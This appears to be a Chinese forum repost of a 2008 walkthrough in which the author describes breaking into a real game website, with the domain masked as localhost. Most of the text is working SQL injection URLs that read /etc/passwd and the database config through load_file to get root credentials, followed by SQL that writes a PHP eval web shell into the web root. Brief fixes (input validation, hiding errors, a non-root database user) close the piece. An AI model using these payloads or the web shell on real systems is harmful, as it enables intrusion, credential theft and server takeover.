今天在phpchina闲逛,无意中看到坏人08年的文章,是XX某游戏网站的,坏人有没有刷库就不得而知了,贴出来大家学习下。
------------------------------------------------------------------------
当然,我不是PHP高手,也不属于什么黑客。我称自己是脚本小子(没技术,用着大牛门的工具搞破坏)。
今天发现自己一个垃圾文章被加开源币了,很是高兴。不过,由于是没技术含量,一直感觉对不起给我开源币的家伙。。。
刚好,进来看到了,fireseno,发表了PHP注入的文章,那我也就讲讲具体的危害吧,并且我会告诉大家一些常见漏洞的修补。
我这里就拿一个游戏官方网站讲下。。由于涉及到,网络犯罪,所以我这里不拿真实域名做演示,用,http://localhost/,代替了。
当然,我另外电脑上有保留这些漏洞信息,如果有人想了解漏洞形成原因,那我到时候再贴出来。
这个游戏站的构架是,LAMP,整站全部是html生成的,所以不存在注入信息。
当然,船身大了,总有点东西被人忽略。
在整个网站下,只有两处地方是动态的,其中一处就是举报玩家这个功能,另一处就是上传照片。
于是,检测开始。检测前打开IE-工具-internet选项-高级-去掉显示友好HTTP错误,因为不然,有任何错误,IE都会屏蔽掉了。
http://localhost/photo/complaint.php?id=36017 //正常出现了某玩家照片 并且可以在下面提交对他的评论
http://localhost/photo/complaint.php?id=36017' //加了个点看看 出错了 不过提示的是一片空白
http://localhost/photo/complaint.php?id=36017 and 1=1 //返回正常
http://localhost/photo/complaint.php?id=36017 and 1=0 //返回一片空白
到这里,就基本判断存在注入了,那我们看看是什么类型的数据库。
一般来说,php都喜欢跟mysql结合:
http://localhost/photo/complaint.php?id=36017/*test //正常页面 因为/*在mysql里是注释的,表示后面不执行,那当然正常了。
所以判断是mysql数据库。
接下来看看mysql是什么版本,因为4.0以下是不支持union联合查询的:
http://localhost/photo/complaint.php?id=36017 and ord(mid(version(),1,1))>51/* //这里的51是ASCII码,对应就是3,大于3。
正确的话,那就是版本4以上了。
好,继续看看,mysql是什么用户:
http://localhost/photo/complaint.php?id=36017 and (select count(*) from mysql.user)>0/* //可以读取mysql表的user列
那当然是root连接了。
root权限的话,有个 outfile 功能,可以被我们利用,原本这个功能是用来mysql的备份用的。
但是前提是,我们要知道程序的绝对路径,不过 mysql 的 load_file() 函数就起作用了,先来暴字段吧:
http://localhost/photo/complaint.php?id=36017 order by 10/* //正常页面
http://localhost/photo/complaint.php?id=36017 order by 20/* //空白页面 那就表示字段在10-20之间
http://localhost/photo/complaint.php?id=36017 order by 15/* //空白页面 表示10-15之间了
http://localhost/photo/complaint.php?id=36017 order by 13/* //正常页面
http://localhost/photo/complaint.php?id=36017 order by 14/* //正常页面 最后判断有14个字段
继续:
http://localhost/photo/complaint.php?id=36017 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14/* //通常 会出来
数字,比如数字 3 5 之类,那我们用load_file()函数。
http://localhsot/photo/complaint.php?id=36017 and 1=0 union select 1,2,version(),4,load_file('/etc/passwd'),6,7,8,9,10,11,12,13,14/* //就可以把passwd文件读出来了
如果不可以读,请用ascii码转换,文件 load_file(char(ASCII码后的东西 并且用逗号分开每个字符))。
我尝试了几个linux下,常见的apache配置目录,都无法读取apache配置,所以,就无法知道系统的绝对路径了。
于是开始在网站上传这里找信息,当我点浏览时,我随便找了个文件上传,随后,我自己修改了上传域里的文件名,改成了不存在的文件时,哈哈。
服务器暴错了,并且把绝对路径显示出来了。
/var/www/***/photo/water.php //一个添加水印功能的
既然知道了绝对路径,那好办。
http://localhsot/photo/complaint.php?id=36017 and 1=0 union select 1,2,version(),4,load_file('/var/www/***/photo/complaint.php'),6,7,8,9,10,11,12,13,14/* //读取那个举报页面 因为这个页面一定包含数据库连接信息
这时,如我所愿,暴出了数据库连接文件是:/var/www/***/lib/config.php。
OK ,继续。
http://localhsot/photo/complaint.php?id=36017 and 1=0 union select 1,2,version(),4,load_file('/var/www/***/lib/config.php'),6,7,8,9,10,11,12,13,14/* //成功读出了mysql的连接信息 root的帐号密码
接下来,自己本地下载一套 phpmyadmin,配置好,输入刚才暴出来的帐号密码,连接。
然后执行sql:
use mysql; //进入mysql这个数据库
create table shell (ok text); //建一个表名是shell 字段名ok 格式是text格式
insert into shell (ok) values ('<?php eval($_POST[baddie])?>'); //在ok这里 插入PHP一句话木马
select * into outfile '/var/www/***/1.php' from shell; //利用outfile导出一句话木马到 /var/www/***/目录下 注意:目标目录一定得具有写权限
好了,用我们的PHP一句话客户端,进行连接,你想做什么,就做什么了,对方服务器就沦陷了。
这里我顺便讲讲以上漏洞的形成:
漏洞:complaint.php对id没做验证,就放入数据库查询了。
解决:对用户提交的 id 进行验证,由于这个ID是数字的,所以可用is_numeric()函数进行验证。
代码:if(is_numeric($_GET['id']));
效果:那我刚才输入的 and 1=1 之类,都会失效,无法注入。漏洞:water.php 使用了错误显示
解决:编辑php.ini文件,关闭display_error,或者自定义在程序代码里关闭错误,如果自定义设置,只对当前文件有效果。
代码:ini_set('display_errors','0'); //0为假,1为真,如果设置1,表示开启错误显示,ini_set()不能对safe_mode进行定义。
效果:那入侵者就无法得到系统的绝对路径了,也不能进一步渗透。漏洞:数据库使用了root帐号连接,并且允许远程用户连接。
解决:建一个非ROOT用户,并只允许root从本机登入。
代码:建用户:grant all on www.* to www@'localhost' identified by 'pass';flush privileges; //这里的all看实际情况,可以只允许更新、查询。
另外'localhost'也必不可少,表示只允许本地连接,'%' 表示任何地方都可以连接。
去掉root的远程连接:update mysql.user set host='localhost' where user='root';
好了,乱写这么多,希望对PHP安全做点作用。